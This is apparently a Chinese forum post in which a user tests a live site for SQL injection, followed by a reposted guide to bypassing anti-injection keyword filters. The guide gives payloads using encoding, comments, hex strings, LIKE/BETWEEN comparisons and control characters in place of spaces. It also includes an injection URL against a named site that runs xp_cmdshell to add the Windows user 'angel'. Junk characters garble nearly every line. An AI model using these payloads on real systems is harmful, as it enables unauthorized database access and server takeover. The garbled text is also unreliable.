路过这个网站,检测了一下.
+ `. A1 Q1 Q: r2 T/ Z Jhttp://www.xxx.cn/Article.asp?ID=117 and 1=17 j5 H0 ? N9 U* r4 Q! n' O
直接返回主页
6 o& j, y) r/ K5 L/ [http://www.xxx.cn/Article.asp?ID=117 or 1=1
/ W- \& _6 K) C4 G% }" w6 N直接返回主页4 }, e' o" p( P4 u
http://www.xxx.cn/Article.asp?ID=117 or
* }7 i4 K5 V# B5 Y% e没有返回主页 没有过滤or
( F2 p. @8 X: |7 ^8 j; Ihttp://www.xxx.cn/Article.asp?ID=117 and) [5 I' i) b; q
直接返回主页 看来过滤了and
! `9 u! O+ B, ~+ r. Y0 Whttp://www.xxx.cn/Article.asp?ID=117 or 10 L( t. Z5 s% Y* |& q" x1 o
没有返回主页 即没有过滤or 也没有过滤1! t, e+ p8 @$ M+ a& Z' q
http://www.xxx.cn/Article.asp?ID=117 or 1=18 D8 @6 z% t3 k/ z
直接返回主页 很明显过滤了等号
4 e6 m {( d4 N1 W/ sor的特性是与and相反的./ B O( q$ P, d3 c
or 1=1 爆错 或与原页面不同
8 v0 I, m/ ?$ b0 g$ R h/ `or 1=2 原页面相同
, D* L) w8 N z$ [) ~$ A! {0 l这样就是一个注入点
4 j* X1 e& |1 J但他过滤了=号 我就用><号代替=号吧!3 l' y/ i/ `' x, t$ j
or 1<2 很明显是正确的,所以应该与原页面不同
; S/ ?+ t* k8 t& h6 u/ H/ p m# @or 1>2 很明显是错误的,所以应该与原页面相同
! @7 H: [4 w; c& k然后看看有没有过滤其他的查询语句,比如select.
5 W1 {: x5 O5 y- Y- e9 S8 U t/ j6 xhttp://www.xxx.cn/Article.asp?ID=117 select
7 n; g( O# I x; E1 f* {2 q直接返回主页
& A9 ?8 f4 l& o' _5 k, o又迷茫了..7 B% D$ b1 s/ ~$ ~
% t$ v3 V4 p* U5 X9 ^1 e' G
8 v, X, P& C2 H' \5 N. t4 N
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
~" H, C% n$ S! q/ p9 L! t- `这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)" g8 k3 @1 t7 P8 L8 T# |1 i
================================================1 Q5 s2 {( k) Q" o& C; L; x
以下是转贴:
# b* T; z" V5 G- Y- l! p9 L0 {+ u* l& O& d$ c
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 3 b( o: r- G1 i+ M! C
经过我的收集,大部分的防注入程序都过滤了以下关键字: . a6 g( A% w% G
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
- |6 I( c0 s: P2 L; P! n而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 * ^, L& [/ B* j
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 , b1 Z9 u) z) X9 n7 H- R
1、运用编码技术绕过
- W! L1 q0 h3 A% x如URLEncode编码,ASCII编码绕过。例如or 1=1即
2 @4 x: P6 Q! P! b! x% f( o1 W%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 9 t. M2 H; p- q
% H/ `( F3 z$ q( T9 y! ?2、通过空格绕过 9 k. P; n9 ]( p* l9 m1 F- F* n
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 $ D! d' T" A0 l2 {/ K' r) R* N% ?
or’ swords’ =‘swords’ # `% i, ?6 m1 }( \- k5 g
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
- Q/ u: ~2 L7 o) e. {* H) d/ X, S3、运用字符串判断代替
) h( Z- C$ S6 [1 r! U. f0 E; ^用经典的or 1=1判断绕过,如
( A3 h9 z6 s+ N* ]$ Hor ’swords’ =’swords’ " h" T# H/ }( i A8 N
,这个方法就是网上在讨论的。 1 X9 g& Y( c. d* ]: }! n
4、通过类型转换修饰符N绕过 % z v! d3 Q e; U, N& z: v( F$ v
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 - F* a; q+ E3 Y/ m# V+ w1 U
5、通过+号拆解字符串绕过 ( ]% [: \& Y- P8 S( q2 k/ w
效果值得考证,但毕竟是一种方法。如 0 D3 m: a) ]- m% O* K% ~* Q
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ( U0 V2 M# l, O6 u6 B: t
% n! T$ f) P+ e9 X" ~, n6、通过LIKE绕过 % V, u: |4 j* s7 Y7 x
以前怎么就没想到呢?如or - V# F! g1 K1 z( Y; n! N2 j
’swords’ LIKE ’sw’
1 q9 f" H8 l. D!!!显然可以很轻松的绕过 - S9 E0 E1 E6 U# c4 H! e% D' x
“=”“>”
+ ^ v6 ^* }# c( p的限制…… 0 {3 C- y) C% l/ x0 N
7、通过IN绕过
9 f% e- z4 b. h; x与上面的LIKE的思路差不多,如
6 o" s# o7 p2 z" s8 M, v& ]+ _, }or ’swords’ IN (’swords’) 1 U" m( e- k1 ]; ]/ h! i% L
: g2 _* M/ H! i- t5 Q
8、通过BETWEEN绕过 p" g' f5 ~) l
如
) |& G% I+ O- u0 E; b. _or ’swords’ BETWEEN ’rw’ AND ’tw’
2 z) a/ f! |8 v V7 x2 l$ m! x2 g: t0 r1 g- c3 Y/ C- C8 N$ e
9、通过>或者<绕过
* a1 h2 L7 ~' X9 t- P6 l; M) yor ’swords’ > ’sw’ # H3 d% k/ k! t! a
or ’swords’ < ’tw’ 4 b+ s6 c. u4 ~! ?7 ]& ?
or 1<3
* b( s! f/ O" L/ H, ]3 R. ~+ o…… " i: e5 a D4 t" _
10、运用注释语句绕过
6 j0 }- ^6 R6 P" i/ b: }用/**/代替空格,如: ; p x: l. T3 C% X
UNION /**/ Select /**/user,pwd,from tbluser & t9 n$ K6 u' P S7 K
6 J( I1 z) @( Z0 {' ?
用/**/分割敏感词,如:
: h! g9 l) L5 p+ E, l$ \5 wU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
# g4 I% t6 x6 B7 f6 Z# X" v* O' B6 [5 l+ A( N8 U8 [+ u9 G! A) [
11、用HEX绕过,一般的IDS都无法检测出来 & k# r% L- ^% I8 o7 g* ]
0x730079007300610064006D0069006E00 =hex(sysadmin) ; d8 D5 q. V( X8 y! ` }# X
0x640062005F006F0077006E0065007200 =hex(db_owner)
0 ?/ q8 W6 u2 r/ o( {另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
) L: _( C h7 t% t% {+ o. N declare @a sysname " t, M& l, `# |0 U) o
select @a= ; w+ J$ l7 H" ]" k, M( S5 E
exec master.dbo.xp_cmdshell @a $ P; A4 l- o) \
效果
9 V1 s# i# ^6 h: q1 whttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
+ [+ T8 u9 C; j2 s0 p
. u/ U% h8 ^. k! p其中的
& [/ D4 T# O5 A* O" A- ~ _0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
8 D) E p' g3 C就是 2 ~4 y. m( |- J/ k/ I
“net user angel pass /add”
/ @6 e# X+ g7 l v+ _! r0 l
" @+ j: K+ b! v! m一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。$ V5 U- Q, Y# e6 x& C# y+ W
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。! K! a& x O0 H. }
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
! W$ k( e9 h, KCopy code K1 Q# o: \" l' m* ~# h$ E# B( J
select * from table exec xp_cmdshell'xxxxxxxxxx'' v1 {# j3 t7 q! P0 s6 [) E
4 E ]& ~' }8 [, f( q$ F
+ P9 l1 f, W4 U9 D; D3 ?6 Q5 A/ dselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
! z: N# e i9 U+ b5 P2 s3 K$ p
0 q4 e, K; Y7 U: n6 h1 o( o7 f( h( ^( ]0 z& N" w
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
* Y$ o! K3 A; f3 X. M' r0 j
; ~3 W$ B, Y9 c- }: }+ o" v6 W6 x H2 a& s& T
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx') |3 F3 k6 _' G/ U- ^; b" l0 F
5 V& W) J9 o! }; }8 I e) D的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
. b: v( `" o% V- F9 h7 f" T. E3 P3 l6 m, P7 ?% M
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
* b5 Z" a8 P' F* x1 ^可能大家早就知道了,不管怎么说,发在这里吧!# h6 s- f0 g# r. W
( Y* _/ }8 D/ H( F9 ~最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
: b! W4 H' q: j' a+ T8 ?, K% o) G
3 o d; h1 c: [6 I3 ^7 f; V/ p7 P2 R7 A1 X6 A0 j" o& ?
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,. E( {( Y1 w! {, s
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 8 i+ Y' {' A1 F4 U2 R
: b# ?/ b1 c2 ?8 L
|